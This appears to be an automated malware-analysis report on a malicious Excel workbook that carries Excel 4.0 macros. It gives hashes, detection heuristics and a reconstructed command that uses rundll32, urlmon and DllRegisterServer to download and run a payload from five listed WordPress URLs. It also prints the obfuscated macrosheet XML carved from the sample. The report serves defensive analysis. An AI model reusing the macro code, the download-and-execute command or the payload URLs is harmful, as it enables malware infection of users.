Office (OOXML) / .XLSX malware analysis — malicious · 8bff01899b041b80

MALICIOUS

Office (OOXML) / .XLSX

102.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300

MD5: 47019e5e5e421b75044648f3ea44ed86 SHA-1: b961a3795dbaed0e2211a7908c122ad7e6093bdd SHA-256: 8bff01899b041b80c718949613dd5e77169c7a58cc74659dbc18ca599adcc1d7

290 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.005 Visual Basic T1218.011 Rundll32 T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_DANGEROUS_FN' heuristics. The macros utilize the FORMULA API to construct and execute commands. Specifically, it appears to be downloading a payload using 'rundll32.exe' and 'urlmon' from several suspicious URLs. The reconstructed command line is 'rundll32.exe A','JJC SysWow64\..\iix.ocx'("urlmon","URL \Windows\CBB"DownloadToFile D"&"l"&"lR"&"egister"&"Serve"&"r ..\iix.ocx , ,0, "http://docs-construction.com/wp-admin/a0mJP2Adw5YTHt/"," "http://centrobilinguelospinos.com/wp-admin/EIzEADnvS/"," "http://laohange.com/wp-content/0qJRIjTThZ/"," "http://stancewheels.com/wp-admin/b5xkQkgEFiBmW/"," "http://jeffreylubin.igclout.com/wp-admin/0WGa0yF6b6F3VK5tb/",CBB,0, ,0,0) ,0, SysWow64\ \Windows\ ,0,0) D"&"l"&"lR"&"egister"&"Serve"&"r "http://docs-construction.com/wp-admin/a0mJP2Adw5YTHt/"," "http://laohange.com/wp-content/0qJRIjTThZ/"," "http://centrobilinguelospinos.com/wp-admin/EIzEADnvS/"," "http://stancewheels.com/wp-admin/b5xkQkgEFiBmW/"," "http://jeffreylubin.igclout.com/wp-admin/0WGa0yF6b6F3VK5tb/",

Heuristics 7

ClamAV: Win.Malware.Agent-9991551-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Malware.Agent-9991551-0
Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://docs-construction.com/wp-admin/a0mJP2Adw5YTHt/ In macro / runtime command snippet
- http://centrobilinguelospinos.com/wp-admin/EIzEADnvS/In document text (OOXML body / shared strings)
- http://laohange.com/wp-content/0qJRIjTThZ/In document text (OOXML body / shared strings)
- http://stancewheels.com/wp-admin/b5xkQkgEFiBmW/In document text (OOXML body / shared strings)
- http://jeffreylubin.igclout.com/wp-admin/0WGa0yF6b6F3VK5tb/In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml` `70a630ebf16b860ac1225608b3179a268dffdcabbd610f9adf303328d4dd015b`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml	3567 bytes
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0400-000000000000}"><dimension ref="C6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.42578125" style="1"/></cols><sheetData><row r="6" spans="3:3" x14ac:dyDescent="0.25"><c r="C6" s="1" t="b"><f>FORMULA(EbrbwQ1!Q12,KKLD8)=FORMULA('Vv11'!D13,'Vv22'!C7)=FORMULA(Gfefq1!P22&Gfefq1!H9&Gfefq1!L2&Gfefq1!B15&Gfefq1!B15&EbrbwQ1!B6&EbrbwQ1!D11&EbrbwQ1!F3&EbrbwQ2!B10&EbrbwQ1!G19&EbrbwQ1!T5&EbrbwQ2!P14,C15)=FORMULA(Gfefq1!P22&Gfefq1!J11&Gfefq1!B18&Gfefq1!P11&"KKLD"&Gfefq1!P9&Gfefq1!K9&Gfefq1!P7&Gfefq1!P19&Gfefq1!H9&Gfefq1!L2&Gfefq1!B15&Gfefq1!B15&EbrbwQ1!B6&EbrbwQ1!D11&EbrbwQ1!F3&EbrbwQ2!B10&EbrbwQ1!I22&EbrbwQ1!T5&EbrbwQ2!P14&Gfefq1!P13,C17)=FORMULA(Gfefq1!P22&Gfefq1!J11&Gfefq1!B18&Gfefq1!P11&"KKLD1"&Gfefq1!P9&Gfefq1!K9&Gfefq1!P7&Gfefq1!P19&Gfefq1!H9&Gfefq1!L2&Gfefq1!B15&Gfefq1!B15&EbrbwQ1!B6&EbrbwQ1!D11&EbrbwQ1!F3&EbrbwQ2!B10&EbrbwQ1!J19&EbrbwQ1!T5&EbrbwQ2!P14&Gfefq1!P13,C19)=FORMULA(Gfefq1!P22&Gfefq1!J11&Gfefq1!B18&Gfefq1!P11&"KKLD2"&Gfefq1!P9&Gfefq1!K9&Gfefq1!P7&Gfefq1!P19&Gfefq1!H9&Gfefq1!L2&Gfefq1!B15&Gfefq1!B15&EbrbwQ1!B6&EbrbwQ1!D11&EbrbwQ1!F3&EbrbwQ2!B10&EbrbwQ2!F2&EbrbwQ1!T5&EbrbwQ2!P14&Gfefq1!P13,C21)=FORMULA(Gfefq1!P22&Gfefq1!J11&Gfefq1!B18&Gfefq1!P11&"KKLD3"&Gfefq1!P9&Gfefq1!K9&Gfefq1!P7&Gfefq1!P19&Gfefq1!H9&Gfefq1!L2&Gfefq1!B15&Gfefq1!B15&EbrbwQ1!B6&EbrbwQ1!D11&EbrbwQ1!F3&EbrbwQ2!B10&EbrbwQ2!N3&EbrbwQ1!T5&EbrbwQ2!P14&Gfefq1!P13,C23)=FORMULA(Gfefq1!P22&Gfefq1!J11&Gfefq1!B18&Gfefq1!P11&"KKLD4"&Gfefq1!P9&Gfefq1!K9&Gfefq1!P7&Gfefq1!P19&Gfefq1!H9&Gfefq1!B15&Gfefq1!I17&Gfefq1!I3&Gfefq1!H13&Gfefq1!P11&Gfefq1!K9&Gfefq1!P13&Gfefq1!P7&Gfefq1!P13,C25)=FORMULA(Gfefq1!P22&Gfefq1!H13&Gfefq1!N4&Gfefq1!H13&Gfefq1!H9&Gfefq1!P11&Gfefq1!P15&Gfefq1!H9&Gfefq1!P20&EbrbwQ1!R7&EbrbwQ1!L4&EbrbwQ1!S2&EbrbwQ1!M14&Gfefq1!P15&Gfefq1!P17&"KKLD8"&Gfefq1!P13,C27)=FORMULA('Vv22'!C7&Gfefq1!G24&Gfefq1!H13&Gfefq1!I26&Gfefq1!E11&Gfefq1!G24&Gfefq1!K23&Gfefq1!P11&Gfefq1!P13,EFEWFWXV!C35)</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
`xlm_sheet_01.xml` `5de2d301cc109db6d36eebc969e56f919066258ce8b719219c5af3a6383fbd2a`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	1277 bytes
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0500-000000000000}"><dimension ref="D13"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="13" spans="4:4" x14ac:dyDescent="0.25"><c r="D13" s="1" t="str"><f>CHAR(Gfefq1!E35)</f><v>=</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_02.xml` `1f318126f9836ee0e7eb4db4c3253b3f492929ce10b9e2356f4d0da8bf32f74a`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	1152 bytes
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0600-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.